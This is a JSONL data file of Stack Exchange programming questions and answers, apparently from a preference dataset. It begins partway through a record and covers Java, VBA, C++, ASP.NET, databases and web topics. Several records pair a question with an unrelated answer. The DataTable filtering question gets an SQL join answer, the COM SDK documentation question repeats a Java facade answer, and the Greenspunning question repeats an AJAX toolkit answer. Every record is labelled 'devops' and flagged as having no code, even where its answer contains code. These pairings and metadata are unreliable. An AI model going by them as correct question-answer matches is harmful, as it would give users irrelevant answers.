from the handle\n        myIcon = System.Drawing.Icon.FromHandle(shinfo.hIcon);\n        // Display the large icon\n        picIconLarge.Image = myIcon.ToBitmap();\n\n    }\n}\n```\n```\nUPDATE: found even more info\nhere\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:33.007459"}
{"id": "hf_dde40de80169", "question": "<p>Does anyone knows how to detect printable characters in java?</p>\n\n<p>After a while ( trial/error ) I get to this method:</p>\n\n<pre><code>    public boolean isPrintableChar( char c ) {\n        Character.UnicodeBlock block = Character.UnicodeBlock.of( c );\n        return (!Character.isISOControl(c)) &amp;&amp;\n                c != KeyEvent.CHAR_UNDEFINED &amp;&amp;\n                block != null &amp;&amp;\n                block != Character.UnicodeBlock.SPECIALS;\n    }\n</code></pre>\n\n<p>I'm getting the input via KeyListener and come Ctr-'key' printed an square. With this function seems fairly enough. </p>\n\n<p>Am I missing some char here?</p>\n", "question_body": "", "answer": "I'm not perfectly sure whether I understand your problem. But if you want detect if character can be drawn to Graphics object, and if not print some placeholder char you might find usefull:\n```\n```\nFont.canDisplay(int)\n```\n```\nIt will check whether font can display specific codepoint (it is more that check whether font is displayable at all -- since there are chars that are displayable - like ą - but some fonts cant display them.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:33.125017"}
{"id": "hf_1f1bd83fc544", "question": "<p>I am changing document template macros. The one thing I can't find out how to do is to customize error messages. For example an error message in a document is</p>\n\n<p>\"Error! No table of figures entries found\"</p>\n\n<p>I would like to change this to display something else. Is it possible to do this with Word VBA or VBScript?</p>\n", "question_body": "", "answer": "If you want to trap a specific error type in VBA, one method is to use On Error Resume Next then test for an error message on the line following the action to trap, e.g.:\n```\n```\nOn Error Resume Next\n' try action\nIf Err.Number <> 0 Then\n  ' handle w/ custom message\n  Err.Clear\nEnd If\n```\n```\nIf you know the exact error number (\n```\nIf Err.Number = N Then\n```\n), that would be better of course.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:33.159791"}
{"id": "hf_063a4c258278", "question": "<p>As above. Usually at work someone else does the database design, and when I do personal projects they're small enough to not really require more than five or six tables, but I'm about to start a personal project that I think will probably require around eleven or twelve tables and I'd like something to help me design it neatly and keep track of it. </p>\n", "question_body": "", "answer": "MySQL Workbench\n, while a little buggy, has been invaluable to me since I discovered it.\nVisio\nhas a good visual database designer, but it can't export the result to a MySQL database and is windows only.\nphpMyAdmin\nalso has a\ndesigner tool\nwhich can be used if you correctly configure the\npma database\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:33.195711"}
{"id": "hf_5f0658008b0e", "question": "<p>I'm calling a web service that returns an array of objects in JSON.  I want to take those objects and populate a div with HTML.  Let's say each object contains a url and a name.</p>\n\n<p>If I wanted to generate the following HTML for each object:</p>\n\n<pre><code>&lt;div&gt;&lt;img src=\"the url\" /&gt;the name&lt;/div&gt;\n</code></pre>\n\n<p>Is there a best practice for this? I can see a few ways of doing it:</p>\n\n<ol>\n<li>Concatenate strings</li>\n<li>Create elements</li>\n<li>Use a templating plugin</li>\n<li>Generate the html on the server, then serve up via JSON.</li>\n</ol>\n", "question_body": "", "answer": "Either of the first two options is both common and acceptable.\nI'll give examples of each one in\nPrototype\n.\n```\n```\n// assuming JSON looks like this:\n// { 'src': 'foo/bar.jpg', 'name': 'Lorem ipsum' }\n```\n```\nApproach #1:\n```\n```\nvar html = \"<div><img src='#{src}' /> #{name}</div>\".interpolate(json);\n$('container').insert(html); // inserts at bottom\n```\n```\nApproach #2:\n```\n```\nvar div = new Element('div');\ndiv.insert( new Element('img', { src: json.src }) );\ndiv.insert(\" \" + json.name);\n$('container').insert(div); // inserts at bottom\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:33.218992"}
{"id": "hf_391655887b8f", "question": "<p>How do I write the getDB() function and use it properly?</p>\n\n<p>Here is a code snippet of my App Object:</p>\n\n<pre><code>public class MyApp extends UiApplication {\n\n    private static PersistentObject m_oStore;\n    private static MyBigObjectOfStorage m_oDB;\n\n    static {\n        store = PersistentStore.getPersistentObject(0xa1a569278238dad2L);\n    }\n\n    public static void main(String[] args) {\n        MyApp theApp = new MyApp();\n        theApp.enterEventDispatcher();\n    }\n    public MyApp() {\n        pushScreen(new MyMainScreen());\n    }\n\n    // Is this correct?  Will it return a copy of m_oDB or a reference of m_oDB?\n    public MyBigObjectOfStorage getDB() {\n        return m_oDB;  // returns a reference\n    }\n\n}\n</code></pre>\n", "question_body": "", "answer": "```\n```\npublic MyBigObjectOfStorage getDB() {\n    Object o = store.getContents();\n    if ( o instanceof MyBigObjectOfStorage ) {\n        return (MyBigObjectOfStorage) o;\n    } else {\n        return null;\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:33.253778"}
{"id": "hf_448c56fc3274", "question": "<p>If I make two iPhone applications, how can/should I share custom data (not contacts and stuff like that) among them?</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "There are two different ways you might go about this.\n1) The data you need to share is non-persistent. In other words you need to launch one application with a piece of data that it can do something with. In this case you would register a special URL scheme per application.\nYou can find out more information about URL schemes via Craig Hockenberry in his\n[redacted] blog post\n.\n2) The data you need to share is persistent. In other words you need something like a data file that both applications can read and write too. As far as I know there isn't a safe way to do this other than storing your data on a remote server. If you need the data accessible without a data connection then you would need to figure out a way to sync data between the individual apps and the remote server.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:33.276492"}
{"id": "hf_2c6e35f95e55", "question": "<p>I teach a C++ course using Visual Studio.  One of my students has a Mac and was looking for an IDE to use on his machine. What would be good to recommend?</p>\n", "question_body": "", "answer": "Xcode\nwhich is part of the MacOS Developer Tools is a great IDE. There's also\nNetBeans\nand\nEclipse\nthat can be configured to build and compile C++ projects.\nClion\nfrom JetBrains, also is available now, and uses Cmake as project model.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:33.336160"}
{"id": "hf_77a395fc8d69", "question": "<p>Could someone explain? I understand the basic concepts behind them but I often see them used interchangeably and I get confused. </p>\n\n<p>And now that we're here, how do they differ from a regular function?</p>\n", "question_body": "", "answer": "Not all closures are lambdas and not all lambdas are closures. Both are functions, but not necessarily in the manner we're used to knowing.\nA lambda is essentially a function that is defined inline rather than the standard method of declaring functions. Lambdas can frequently be passed around as objects.\nA closure is a function that encloses its surrounding state by referencing fields external to its body. The enclosed state remains across invocations of the closure.\nIn an object-oriented language, closures are normally provided through objects. However, some OO languages (e.g. C#) implement special functionality that is closer to the definition of closures provided by purely\nfunctional languages\n(such as lisp) that do not have objects to enclose state.\nWhat's interesting is that the introduction of Lambdas and Closures in C# brings functional programming closer to mainstream usage.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:33.361366"}
{"id": "hf_c5d88aede058", "question": "<p>I've been searching around for a Continuous Integration solution for Ruby on Rails, but haven't been too pleased with the results.  I came from a .NET shop that used CruiseControl.NET and was really spoiled with its ease of use and rich status/reporting.</p>\n\n<p>Ideally I'm looking for:</p>\n\n<ul>\n<li><p>The obvious Git/SVN and Test::Unit\nintegration</p></li>\n<li><p>Integration with Rake and/or\nCapistrano</p></li>\n<li><p>A web interface showing the status\nof the build</p></li>\n<li><p>Email notification of failed builds.</p></li>\n<li><p>Desktop notification (potentially\nthrough Growl)</p></li>\n<li><p>REST API for build statuses</p></li>\n<li><p>Plugin framework for running other code analysis tools and reporting results in the UI</p></li>\n</ul>\n", "question_body": "", "answer": "How about\nCruiseControl.rb\n?\nSame crowd that did\n```\nCruiseControl\n```\n(thoughtworks) and written in\n```\nRuby\n```\n. Very easy to use\n```\nRake\n```\nto integrate your other tools, and can use the\nruby-growl\ngem for your notifications.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:33.397118"}
{"id": "hf_a972a284a754", "question": "<p>What would be the most efficient data type to store a UUID/GUID in databases that do not have a native UUID/GUID data type? 2 BIGINTs?</p>\n\n<p>And what would be the most efficient code (C# preferred) to convert to and from a GUID to that type?</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "Looking at the\n.NET guid class\n, there are a couple ways to initialize a guid:\nGuid(Int32, Int16, Int16, Byte, Byte, Byte, Byte, Byte, Byte, Byte, Byte)\nGuid(string)\nWhile it may be more efficient, in theory, to store the integer in a database (you could use bit shifting to really store 4 32-bit integers.. but you'd have to calculate this out when loading and saving every time. Additionally, it would take 4 fields in the database.. I would imagine it would end up being less efficient.\nAdd in the impossibility of reading this directly in your database for debugging/testing purposes, and I'd say hands-down that it's best to store a string. It's only a 32-character field (36 if you include the dashes), and it's very easy to convert. guid.\nToString()\nand\nnew Guid(stringValue);", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:33.435293"}
{"id": "hf_cb9702d173d2", "question": "<p>I am trying to use <code>set.insert (key)</code> as a conditional, where if the key is inserted correctly (meaning that the key does NOT already exist in the set ) then it should go on and perform some kind of code. For example, something like:</p>\n\n<pre><code>if (set.insert( key )) {\n    // some kind of code\n}\n</code></pre>\n\n<p>Is this allowed? Because the compiler is throwing this error: </p>\n\n<pre><code>conditional expression of type 'std::_Tree&lt;_Traits&gt;::iterator' is illegal\n</code></pre>\n", "question_body": "", "answer": "set::insert returns a pair, try this:\n```\n```\nif( set.insert( key ).second ) {\n    // some kind of code\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:33.457567"}
{"id": "hf_e7c682cecd63", "question": "<p>I need a serviceable shell for MSYS.  This is my current dilemma: </p>\n\n<p>The default rxvt.exe has a scroll bar and copy and paste, but doesn't send control characters or arrow keys to a running program in the shell (like interpreters/debuggers).  This is a real thorn when using the Haskell interpreter ghci.</p>\n\n<p>The other shell sh.exe handles control characters (or at least some of them), but has no scroll bar or copy and paste.</p>\n\n<p>rxvt also has (relatively) more issues with output buffering</p>\n\n<p>What are my options?  Does the replacement shell need to be msys aware?  All I want is a sane environment to work with Haskell (ghc), C++ (gcc), and the basic tool chain (make and what not).  I'm willing to compile a shell if it doesn't involve crazy shenanigans.</p>\n", "question_body": "", "answer": "You are confusing \"shell\" and \"terminal emulator\".\n```\nsh.exe\n```\nis the former; rxvt is the latter. (mind you, under Windows you can do without a terminal emulator because Windows creates one (a \"console window\") for any console program (such as sh.exe) if it's not already running inside one)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:33.492808"}
{"id": "hf_f77d7ca6ce0f", "question": "<p>I have a DataTable that has a boolean column called [Invalid]. I need to divide this data up by this Invalid column - valid rows can be edited, invalid rows cannot. My original plan was to use two BindingSources and set the Filter property ([Invalid] = 'false', for instance), which plays right into my hands because I have two DataGridViews and so I need two BindingSources anyway.</p>\n\n<p>This doesn't work: the BindingSources set the Filter property associated with the DataTable, so both BindingSources hold the same data. Am I going to have to do two fetches from the database, or can I do what I want with the objects I have?</p>\n", "question_body": "", "answer": "I think you need to do another join to get ab's max val for each a.id first.\nSomething like this:\n```\n```\nselect a.*\nfrom a\nleft join (\n    select aid, max(val) as val \n    from ab \n    group by aid\n) abmax on abmax.aid=a.id\ninner join ab on ab.aid=abmax.aid and ab.val=abmax.val\ninner join b on b.id=ab.bid\nwhere b.val='foo'\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:33.531122"}
{"id": "hf_1596f7b192a8", "question": "<p>What is the memory model for concurrency in C++03?</p>\n\n<p>(And, does C++11 change the memory model to support concurrency better?)</p>\n", "question_body": "", "answer": "Unfortunately in C++ there is no \"Standard Memory Model\" like that of Java. The actual implementation is left up to the compiler, runtime libraries and processors.\nThus the C++ memory model == chaotic mix-mash of models, which means you always have to try to write safe code that doesn't depend on a specific memory model, and that goes for threaded programming as well, because the compiler can do any optimization it wants to outside of a critical section, even out of order processing!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:33.553932"}
{"id": "hf_310a2b9e0d41", "question": "<p>What are some of the better AJAX Treeviews out there that support asynchronous JSON loading.</p>\n\n<p>YUI TreeView seems nice, but bloated with tables, etc.</p>\n", "question_body": "", "answer": "jQuery TreeView plugin\nit's really good and it haves very nice\nasynchronous\nJSON\nloading capabilities...\nExtJS TreeView Component\n, also great, multi-level asynchronous loading, excelent for large trees.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:33.577739"}
{"id": "hf_6b43b8590cdc", "question": "<p>I wrote a simple javascript image rotator which picks a random image on each page load.  The issue is that if i use a default image, that default image will show up for a second before the javascript loads and replaces it. Obviously if someone has javascript disabled i want them to see an image. How can i have a default image without a flickering of the default image.</p>\n", "question_body": "", "answer": "If you hide the default image as the first thing you do when the page loads, there probably won't be a chance for the users to see the image. You can then install an onload handler on the image and change its source to your random image. When the image loads, you can unhide the image.\n```\n```\nwindow.onload = function () {\n    var img = document.getElementById(\"rotating_image\");\n\n    // Hide the default image that's shown to people with no JS\n    img.style.visibility = \"hidden\";\n\n    // We'll unhide it when our new image loads\n    img.onload = function () {\n        img.style.visibility = \"visible\";\n    };\n\n    // Load a random image\n    img.src = \"http://example.com/random\" + Math.floor(Math.random() * 5) + \".jpg\";\n\n};\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:33.647694"}
{"id": "hf_21c7a347e6da", "question": "<p>I have several branches in TFS (dev, test, stage) and when I merge changes into the test branch I want the automated build and deploy script to find all the updated SQL files and deploy them to the test database.</p>\n\n<p>I thought I could do this by finding all the changesets associated with the build since the last good build, finding all the sql files in the changesets and deploying them. However I don't seem to be having the changeset associated with the build for some reason so my question is twofold:</p>\n\n<p>1) How do I ensure that a changeset is associated with a particular build?</p>\n\n<p>2) How can I get a list of files that have changed in the branch since the last good build? I have the last successfully built build but I'm unsure how to get the files without checking the changesets (which as mentioned above are not associated with the build!)</p>\n", "question_body": "", "answer": "So I can understand the intuitive appeal of this approach, but I don't think it's the right way to go.\nFor one thing it's going to be difficult. But the second problem is that TFS doesn't have a good way to record deployment data.\nFor the first question, I'm not sure what that means. For the second question you can use the build labels and tf history today list of the changed files.\nAs an alternative, you could reconsider how you want to manage SQL changes. I use a low-tech method of keeping the current pending changes in one directory, and then after deploying moving the files to a different directory. This method can be enhanced by keeping a deployment history table in the database. You may also want to look into vsts DB addition, the current\nCTP\nhas a lot of new features around managing database changes. I also hear that\nRed Gate\nhas nice database management tools as well.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:33.745576"}
{"id": "hf_8f4f37e8b59e", "question": "<p>I have an application running on multiple IIS servers that need to parse a CSV file that is placed on a common network drive.  If I use the <a href=\"http://msdn.microsoft.com/en-us/library/system.io.filesystemwatcher.created.aspx\" rel=\"nofollow noreferrer\">System.IO.FileSystemWatcher Created event</a> to be notified of the event when the file is available, how can I ensure only one server parses the file?  If all servers are notified of this change, all will try to parse it.  Should the first server copy this locally and then parse it?  Would this cause errors on the other servers? Should I set the remote directory access to only allow one server read access?</p>\n\n<p>The file contains records that needs to be inserted into a shared database, but there is no unique key for the records.  Therefore, if more than one server grabs the file at the same time and inserts the records, there will be duplicates in the database.</p>\n", "question_body": "", "answer": "Key question is: Does something bad happen when all of them try and parse the file at roughly the same time? Multiple read access is basically allowed on the file system level, so this fact alone would not necessarily break anything.\nI would probably try the method of creating a lock file on first file access and make servers look for the lock file before accessing the file. Delete the lock file when you're done.\nYou could also place an exclusive lock on the file, only one server will be able to do that at a time. The others will fail trying:\n```\n```\nFileStream fs = new FileStream(\n  FilePath, \n  FileMode.Open,\n  FileAccess.ReadWrite, \n  FileShare.None\n);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:33.807576"}
{"id": "hf_130048af4651", "question": "<p>If I have the string <code>.....ZZ..ZZ.....</code> or <code>.Z.1.Z.23Z.4.Z55</code>,</p>\n\n<p>Is there an easy way of shifting all <code>Z</code>characters in the string one space right of the current position?</p>\n\n<p>Some additional test strings are:</p>\n\n<ul>\n<li><code>.Z</code></li>\n<li><code>Z.</code></li>\n<li><code>ZZ.</code></li>\n<li><code>.ZZ</code></li>\n<li><code>Z</code></li>\n<li><code>ZZ</code></li>\n<li><code>ZZZ</code></li>\n</ul>\n\n<p>I think a few of the higher voted answers to this question (including the currently accepted one) do not work on these tests.</p>\n", "question_body": "", "answer": "Just iterate through the text and swap characters:\n```\n```\nint main ()\n{\n    char text[] = \"...Z.Z.Z...\", temp;\n    int text_len = strlen (text), i;\n    for (i = text_len - 1; i >= 0; i--)\n    {\n        if (text[i] == 'Z')\n        {\n                temp = text[i+1];\n                text[i+1] = text[i];\n                text[i] = temp;\n        }\n    }\n    printf (\"%s\\n\", text);\n    return 0;\n}\n```\n```\nProduces:\n```\n```\n[~]$ gcc zshift.c && ./a.out\n....Z.Z.Z..\n```\n```\nThere's a lot of discussion in the comments about a possible off-by-1 error in the above code. However, simple testing / stepping through is enough to show that this is not the case.\n```\n```\nzshift \"Z.\" -> \".Z\"\nzshift \".Z\" -> \".\"\nzshift \"Z\" -> \"\"\n```\n```\nI think the behavior of \"dropping\" trailing Zs when shifting off the end of the string is sensible. After all, if you shift the bits of an integer, bits that end up outside the bounds of the integer are dropped.\nIf another behavior is desired -- for example, shifting only within the string -- the change to the algorithm is minimal:\n```\n```\ntemp = text[i+1];\nif (temp == 0) continue;\ntext[i+1] = text[i];\ntext[i] = temp;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:33.830902"}
{"id": "hf_b9ad01fe3784", "question": "<p>Do you think ASP.NET MVC is able to develop RESTful web services and which approach you would use for it?</p>\n", "question_body": "", "answer": "I would seriously look at ADO.NET Dataservices. (formaly code named Astoria) There's some really nice tooling for Restful services in there!\nhttp://msdn.microsoft.com/en-us/data/bb931106.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:33.855146"}
{"id": "hf_25a707bbc9f3", "question": "<p>Our groups legacy ASP 3.0 web apps were able to take advantage of a global error file by setting up a custom error file within IIS's Custom Error's tab.  I'm unable to find a similar solution for ASP.NET apps.  </p>\n\n<p>Does anyone know if there is a way to have a centralized \"Error.aspx\" page (for example) that will trap errors for an entire application pool?  The objective is to avoid adding custom code to each app's Global error handler ....</p>\n\n<p>Any guidance is greatly appreciated!</p>\n", "question_body": "", "answer": "You can add the\n```\n<customErrors defaultRedirect=\"[url]\"></customErrors>\n```\ntag to your web.config or even up to your machine.config to redirect to a custom error page.  The custom errors tag also suppors multiple  subelements that can be used to define custom errors.\nJust remember when editing the machine.config file, it will affect all the applications on that machine.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:33.879069"}
{"id": "hf_9cc2adb428a6", "question": "<p>What is the best way to deal with XML documents, XSD etc in C# 2.0? </p>\n\n<p>Which classes to use etc. What are the best practices of parsing and making XML documents etc. </p>\n\n<p>EDIT: .Net 3.5 suggestions are also welcome.</p>\n", "question_body": "", "answer": "It depends on the size; for small to mid size xml, a DOM such as\nXmlDocument\n(any C#/.NET versions) or\nXDocument\n(.NET 3.5/C# 3.0) is the obvious winner. For using xsd, You can load xml using an\nXmlReader\n, and an XmlReader accepts (to\nCreate\n) an\nXmlReaderSettings\n. The XmlReaderSettings objects has a\nSchemas\nproperty that can be used to perform xsd (or dtd) validation.\nFor writing xml, the same things apply, noting that it is a little easier to lay out content with LINQ-to-XML (XDocument) than the older XmlDocument.\nHowever, for huge xml, a DOM may chomp too much memory, in which case you might need to use XmlReader/XmlWriter directly.\nFinally, for manipulating xml you may wish to use\nXslCompiledTransform\n(an xslt layer).\nThe alternative to working with xml is to work with an object model; you can use\nxsd.exe\nto create classes that represent an xsd-compliant model, and simply load the xml\nas objects\n, manipulate it with OO, and then serialize those objects again; you do this with\nXmlSerializer\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:33.940151"}
{"id": "hf_a29e9da39d58", "question": "<p>In Ruby I have often written a number of small classes, and had a main class organize the little guys to get work done. I do this by writing </p>\n\n<pre><code>require \"converter.rb\"\nrequire \"screenFixer.rb\"\n.\n.\n.\n</code></pre>\n\n<p>at the top of the main class. How do I do this in Java? Is it \"import?\"</p>\n\n<p>Also, could someone please come up with a better title for this question?</p>\n", "question_body": "", "answer": "```\n```\npublic class Example {\n   public Example(IConverter converter, IScreenFixer screenFixer) {\n\n   }\n}\n```\n```\nhttp://en.wikipedia.org/wiki/Facade_pattern\n?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:34.050149"}
{"id": "hf_90ee8fb7dbb2", "question": "<p>I have a COM SDK written in C++ and I'd like to create documentation for my product.  I understand that most people will probably not use C++ for integration with this COM component, but many will.  </p>\n\n<p>Which method is best to describe the API, without losing details that a C++ developer would need to know. </p>\n", "question_body": "", "answer": "```\n```\npublic class Example {\n   public Example(IConverter converter, IScreenFixer screenFixer) {\n\n   }\n}\n```\n```\nhttp://en.wikipedia.org/wiki/Facade_pattern\n?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:34.079676"}
{"id": "hf_8ed94f622dbb", "question": "<p>I am writing one web chat program using AJAX (a little bit). It is working when both users open a chat page, but I want to open a window when one user send data to others.</p>\n", "question_body": "", "answer": "Sounds like you need to write some javascript to open a new window when a message is received.  How are you sending the message -\nreverse Ajax\n?\nPresumably both users will need to have your chat applications web page open so that you have somewhere to put the reverse ajax hook code.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:34.114987"}
{"id": "hf_d738d1856a3d", "question": "<p>How does reverse proxy server work? Is it used to secure the main server? Is it used as a firewall? What are the reasons for using a proxy server? Could someone give a real world example?</p>\n", "question_body": "", "answer": "Typically a normal proxy server looks at requests going from an internal network out to the internet and caches them so that if another client requests the same page, the proxy can give it to them much quicker than a brand new request to a remote server.\nA reverse proxy works in the opposite way.\nGenerally a reverse proxy will be installed in front of a web server, so that the second time a client requests a page from that server, the proxy will give it back to the remote client without bothering the web server at all.\nIn many cases the reverse proxy and the web server are the same machine.  This is often done because the work the reverse proxy does is much, much simpler than going through a complete web server transaction.\nApache, lighthttpd and many other web servers can also function as reverse proxies.\nCheck\nWikipedia\nfor more info.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:34.139251"}
{"id": "hf_1d5729eaf839", "question": "<p>Where can I find a free, lightweight YUI-like compressor for PHP?</p>\n\n<p>I am sure it will decrease the file size but will compressing PHP code boost its performance?</p>\n\n<p>Is this the same thing as an obfuscator?</p>\n", "question_body": "", "answer": "There is a product called PHP Encoder by ionCube (\nhttp://www.ioncube.com/sa_encoder.php\n) which is enterprise grade compression and obfuscater.\nPHP Encoder is a PHP extension to create and run compiled bytecodes for accelerated runtime performance and maximum security.\nIt will shrink the file size, and speed up runtime because the code is already partially compiled", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:34.174699"}
{"id": "hf_6689a81f77a9", "question": "<p>If I'm using Visual Studio 2008 targeted to ASP.NET 2.0, then which version of the Ajax Control Toolkit should I be using?</p>\n", "question_body": "", "answer": "You need the Toolkit version\n1.0.20229.20821\n,\nAjaxControlToolkit.zip\nthe dll's are targeted to .NET 2.0 and you need also the\nASP.NET AJAX Extensions 1.0 for .NET 2.0\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:34.209380"}
{"id": "hf_5158884ab585", "question": "<p><a href=\"http://en.wikipedia.org/wiki/Greenspun%27s_Tenth_Rule\" rel=\"nofollow noreferrer\">Greenspunning</a>. We've all had occasion to hack around a language's missing features to get what we need. Implementing pseudo-monadic patterns in Java,  Y Combinators in Javascript, variable immutability in C... </p>\n\n<p>What do you consider your most impressive workaround in search of greater functionality? In hindsight, was it worth the hack? Even better: did it, like Ruby's <a href=\"http://weblog.raganwald.com/2007/10/stringtoproc.html\" rel=\"nofollow noreferrer\">string#to_proc</a>, become an accepted feature of a later version of the language?</p>\n", "question_body": "", "answer": "You need the Toolkit version\n1.0.20229.20821\n,\nAjaxControlToolkit.zip\nthe dll's are targeted to .NET 2.0 and you need also the\nASP.NET AJAX Extensions 1.0 for .NET 2.0\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:34.232821"}
